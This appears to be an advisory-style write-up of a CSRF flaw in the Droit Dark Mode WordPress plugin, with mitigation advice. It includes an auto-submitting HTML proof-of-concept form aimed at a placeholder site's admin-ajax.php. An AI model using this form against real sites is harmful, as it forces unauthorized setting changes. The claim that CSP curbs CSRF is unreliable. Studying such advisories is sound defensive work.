CVE-2023-47531: Cross-Site Request Forgery (CSRF) Vulnerability in DroitThemes Droit Dark Mode Plugin

A Cross-Site Request Forgery (CSRF) vulnerability has been discovered in the DroitThemes Droit Dark Mode plugin versions up to and including 1.1.2. This vulnerability can allow an attacker to execute unauthorized actions on a victim's behalf without their knowledge or consent, leading to potential security risks.

In this long read, we will deep dive into the details of this exploit, examine the code snippets that trigger the vulnerability, and discuss possible mitigation strategies. We have also included links to the original references for a comprehensive understanding of the issue.

Vulnerability Details

The DroitThemes Droit Dark Mode plugin offers users the ability to enable dark mode for their websites. However, the plugin does not adequately secure the process of changing settings, leading to a CSRF vulnerability. A potential attacker can create malicious links or code snippets that, when executed by a victim, change the dark mode settings for the victim's website without their consent.

CVSS Base Score: 5.3 (Medium)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:H/RL:O/RC:C

Affected Versions: DroitThemes Droit Dark Mode plugin <= 1.1.2

Code Snippet and Exploit Example

To trigger this vulnerability, an attacker can create a simple HTML page with a form. When the victim, who has the DroitThemes Droit Dark Mode plugin installed, opens and submits the form, the dark mode settings can be altered without requiring explicit consent from the victim.

Here is an example of a malicious HTML form that can trigger this vulnerability

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2023-47531: CSRF Exploit</title>
</head>
<body>
    <h1>CSRF Exploit for Droit Dark Mode Plugin</h1>
    <form action="https://victim-website.com/wp-admin/admin-ajax.php"; method="POST" id="csrfExploitForm">
        <input type="hidden" name="action" value="droitDarkModeSettings" />
        <input type="hidden" name="droit_darkmode_settings[switch_style]" value="1" />
        <input type="submit" value="Submit Exploit" />
    </form>
    <script>
        document.getElementById('csrfExploitForm').submit();
    </script>
</body>
</html>

Mitigation

To remediate this vulnerability, it is essential to update the DroitThemes Droit Dark Mode plugin to the latest version, which contains the necessary security patches for this issue. However, if you cannot update the plugin, consider implementing these steps to reduce the risk:

1. Add nonce checks to the DroitThemes Droit Dark Mode plugin settings to verify the legitimacy and authenticity of requests.

`php

function save_setting_route() {

check_ajax_referer('custom_nonce_name', '_wpnonce');

// Proceed to save settings
}
add_action('wp_ajax_droitDarkModeSettings', 'save_setting_route');
`

2. Use secure access controls and enforce least privilege principles to limit users' access to the plugin's settings.

3. Incorporate Content Security Policy (CSP) on your website to restrict where content and resources can be loaded from, reducing the possibility of CSRF attacks.

4. Regularly monitor and audit your plugins for updates and advisories.

## References

- CVE-2023-47531
- OWASP: CSRF Prevention
- WordPress Developer Guide: Nonces
- Content Security Policy (CSP)

Timeline

Published on: 11/18/2023 22:15:07 UTC
Last modified on: 11/24/2023 19:28:13 UTC